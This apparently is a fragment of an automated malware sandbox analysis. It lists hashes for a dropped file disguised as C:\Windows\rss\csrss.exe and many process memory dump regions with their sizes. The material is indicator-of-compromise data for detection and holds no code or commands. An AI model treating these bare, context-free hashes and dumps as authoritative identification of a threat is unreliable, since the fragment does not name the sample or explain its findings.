SHA5122c81b0ea3b5c1c33784ddc4e24fc23f50d5e2e10d92d764e81f550c2bf091213d6c2f5ddb77081b13fc988afb8dce8f630276c2434902036ba0002e72d4c8ab9
-
C:\Windows\rss\csrss.exeMD5
83326ef515bfe07c990e67b72ae0d862
SHA13cd53bda6ebbea9d7476905fd788a3dd09d6df41
SHA2568822fc55e4ca6bc5841976a7c38a49c4bb2b4a52a11fe1ea45ebc91a266b76a3
SHA5122d1122862c2525c15909e7d7943bbd2974c42d19e9a91f60055d32af75cf388c5440497d8472ebb1039a1c05180c0fe2e0ac2c2036aeae5f3714cdcc506ad843
-
C:\Windows\rss\csrss.exeMD5
83326ef515bfe07c990e67b72ae0d862
SHA13cd53bda6ebbea9d7476905fd788a3dd09d6df41
SHA2568822fc55e4ca6bc5841976a7c38a49c4bb2b4a52a11fe1ea45ebc91a266b76a3
SHA5122d1122862c2525c15909e7d7943bbd2974c42d19e9a91f60055d32af75cf388c5440497d8472ebb1039a1c05180c0fe2e0ac2c2036aeae5f3714cdcc506ad843
-
\??\pipe\LOCAL\crashpad_2352_ALALLANSLXELAZTQMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/388-261-0x0000000003410000-0x00000000035CE000-memory.dmpFilesize
1.7MB
-
memory/572-307-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/696-278-0x000000000085D000-0x00000000008C9000-memory.dmpFilesize
432KB
-
memory/896-182-0x0000000007740000-0x0000000007756000-memory.dmpFilesize
88KB
-
memory/944-172-0x00000000052B0000-0x0000000005BD6000-memory.dmpFilesize
9.1MB
-
memory/944-169-0x0000000004E67000-0x00000000052A3000-memory.dmpFilesize
4.2MB
-
memory/944-173-0x0000000000400000-0x000000000309E000-memory.dmpFilesize
44.6MB
-
memory/1224-359-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/1564-311-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/1848-175-0x00007FFC30390000-0x00007FFC30391000-memory.dmpFilesize
4KB
-
memory/2336-170-0x0000000002CE0000-0x0000000002CE9000-memory.dmpFilesize
36KB
-
memory/2336-171-0x0000000000400000-0x0000000002C6A000-memory.dmpFilesize
40.4MB
-
memory/2336-168-0x0000000002EDD000-0x0000000002EE6000-memory.dmpFilesize
36KB
-
memory/2336-154-0x0000000002EDD000-0x0000000002EE6000-memory.dmpFilesize
36KB
-
memory/2504-269-0x0000000000210000-0x0000000000224000-memory.dmpFilesize
80KB
-
memory/3424-137-0x0000000000720000-0x0000000000740000-memory.dmpFilesize
128KB
-
memory/3424-138-0x00007FFC11310000-0x00007FFC11DD1000-memory.dmpFilesize
10.8MB
-
memory/3424-139-0x0000000000D80000-0x0000000000D82000-memory.dmpFilesize
8KB
-
memory/3924-188-0x0000000004BD0000-0x0000000004BD8000-memory.dmpFilesize
32KB
-
memory/3924-179-0x0000000003AC0000-0x0000000003AD0000-memory.dmpFilesize
64KB
-
memory/3924-160-0x0000000000400000-0x000000000060D000-memory.dmpFilesize
2.1MB
-
memory/4208-192-0x0000000000400000-0x000000000309E000-memory.dmpFilesize
44.6MB
-
memory/4208-189-0x0000000004D03000-0x000000000513F000-memory.dmpFilesize
4.2MB
-
memory/4228-316-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/4324-270-0x0000000000C90000-0x0000000000CBE000-memory.dmpFilesize
184KB
-
memory/4388-279-0x0000000005610000-0x0000000005BB4000-memory.dmpFilesize
5.6MB
-
memory/4388-271-0x0000000000680000-0x0000000000750000-memory.dmpFilesize
832KB
-
memory/4460-254-0x0000000002950000-0x0000000002996000-memory.dmpFilesize
280KB
-
memory/4544-221-0x0000000002490000-0x00000000024F0000-memory.dmpFilesize
384KB
-
memory/4564-268-0x0000000000540000-0x0000000000628000-memory.dmpFilesize
928KB
-
memory/4564-272-0x0000000070B80000-0x0000000071330000-memory.dmpFilesize
7.7MB
-
memory/4564-274-0x0000000004EF0000-0x0000000004F8C000-memory.dmpFilesize
624KB
-
memory/4564-284-0x0000000004F90000-0x0000000005022000-memory.dmpFilesize
584KB
-
memory/4580-259-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/4580-232-0x00000000028D0000-0x00000000028D1000-memory.dmpFilesize
4KB
-
memory/4580-239-0x0000000002640000-0x0000000002641000-memory.dmpFilesize
4KB
-
memory/4580-241-0x00000000026B0000-0x00000000026B1000-memory.dmpFilesize
4KB
-
memory/4580-242-0x0000000003580000-0x0000000003581000-memory.dmpFilesize
4KB
-
memory/4580-244-0x0000000002960000-0x0000000002961000-memory.dmpFilesize
4KB
-
memory/4580-243-0x0000000002950000-0x0000000002951000-memory.dmpFilesize
4KB
-
memory/4580-245-0x0000000002910000-0x0000000002911000-memory.dmpFilesize
4KB
-
memory/4580-246-0x0000000002980000-0x0000000002981000-memory.dmpFilesize
4KB
-
memory/4580-247-0x0000000002940000-0x0000000002941000-memory.dmpFilesize
4KB
-
memory/4580-248-0x0000000002930000-0x0000000002931000-memory.dmpFilesize
4KB
-
memory/4580-249-0x00000000029A0000-0x00000000029A1000-memory.dmpFilesize
4KB
-
memory/4580-251-0x00000000026E0000-0x00000000026E1000-memory.dmpFilesize
4KB
-
memory/4580-252-0x00000000026D0000-0x00000000026D1000-memory.dmpFilesize
4KB
-
memory/4580-238-0x0000000002690000-0x0000000002691000-memory.dmpFilesize
4KB
-
memory/4580-253-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/4580-250-0x0000000002990000-0x0000000002991000-memory.dmpFilesize
4KB
-
memory/4580-237-0x0000000002680000-0x0000000002681000-memory.dmpFilesize
4KB
-
memory/4580-227-0x00000000028A0000-0x00000000028A1000-memory.dmpFilesize
4KB
-
memory/4580-256-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/4580-236-0x00000000028C0000-0x00000000028C1000-memory.dmpFilesize
4KB
-
memory/4580-228-0x0000000003580000-0x0000000003581000-memory.dmpFilesize
4KB
-
memory/4580-229-0x00000000028B0000-0x00000000028B1000-memory.dmpFilesize
4KB
-
memory/4580-235-0x00000000028F0000-0x00000000028F1000-memory.dmpFilesize
4KB
-
memory/4580-230-0x0000000002860000-0x0000000002861000-memory.dmpFilesize
4KB
-
memory/4580-234-0x0000000002880000-0x0000000002881000-memory.dmpFilesize
4KB
-
memory/4580-231-0x00000000024A0000-0x0000000002500000-memory.dmpFilesize
384KB
-
memory/4580-233-0x0000000002890000-0x0000000002891000-memory.dmpFilesize
4KB
-
memory/4580-240-0x0000000002660000-0x0000000002661000-memory.dmpFilesize
4KB
-
memory/4912-222-0x000000000051D000-0x0000000000545000-memory.dmpFilesize
160KB
-
memory/4912-224-0x000000000051D000-0x0000000000545000-memory.dmpFilesize
160KB
-
memory/4912-225-0x0000000000600000-0x0000000000644000-memory.dmpFilesize
272KB
-
memory/4912-226-0x0000000000400000-0x000000000048C000-memory.dmpFilesize
560KB
-
memory/5352-287-0x0000000000400000-0x00000000007E1000-memory.dmpFilesize
3.9MB
-
memory/5352-290-0x0000000000400000-0x00000000007E1000-memory.dmpFilesize
3.9MB
-
memory/5352-289-0x0000000000400000-0x00000000007E1000-memory.dmpFilesize
3.9MB
-
memory/5380-255-0x0000000001110000-0x0000000001159000-memory.dmpFilesize
292KB
-
memory/5380-265-0x0000000001160000-0x0000000001162000-memory.dmpFilesize
8KB
-
memory/5380-285-0x00000000005D0000-0x000000000095C000-memory.dmpFilesize
3.5MB
-
memory/5380-282-0x00000000005D0000-0x000000000095C000-memory.dmpFilesize
3.5MB
-
memory/5380-275-0x0000000001190000-0x0000000001192000-memory.dmpFilesize
8KB
-
memory/5380-264-0x00000000005D0000-0x000000000095C000-memory.dmpFilesize
3.5MB
-
memory/5380-258-0x00000000005D0000-0x000000000095C000-memory.dmpFilesize
3.5MB
-
memory/5504-267-0x0000000000700000-0x0000000000720000-memory.dmpFilesize
128KB
-
memory/5512-266-0x0000000000E60000-0x0000000000E61000-memory.dmpFilesize
4KB
-
memory/5512-286-0x0000000000330000-0x00000000004B5000-memory.dmpFilesize
1.5MB
-
memory/5512-276-0x0000000000330000-0x00000000004B5000-memory.dmpFilesize
1.5MB
-
memory/5512-273-0x0000000076970000-0x0000000076B85000-memory.dmpFilesize
2.1MB
-
memory/5512-283-0x0000000072010000-0x0000000072099000-memory.dmpFilesize
548KB
-
memory/5512-281-0x0000000002840000-0x0000000002886000-memory.dmpFilesize
280KB
-
memory/5512-277-0x0000000070B80000-0x0000000071330000-memory.dmpFilesize
7.7MB
-
memory/5512-308-0x00000000750E0000-0x0000000075693000-memory.dmpFilesize
5.7MB
-
memory/5512-351-0x000000006AA30000-0x000000006AA7C000-memory.dmpFilesize
304KB
-
memory/5512-280-0x0000000000330000-0x00000000004B5000-memory.dmpFilesize
1.5MB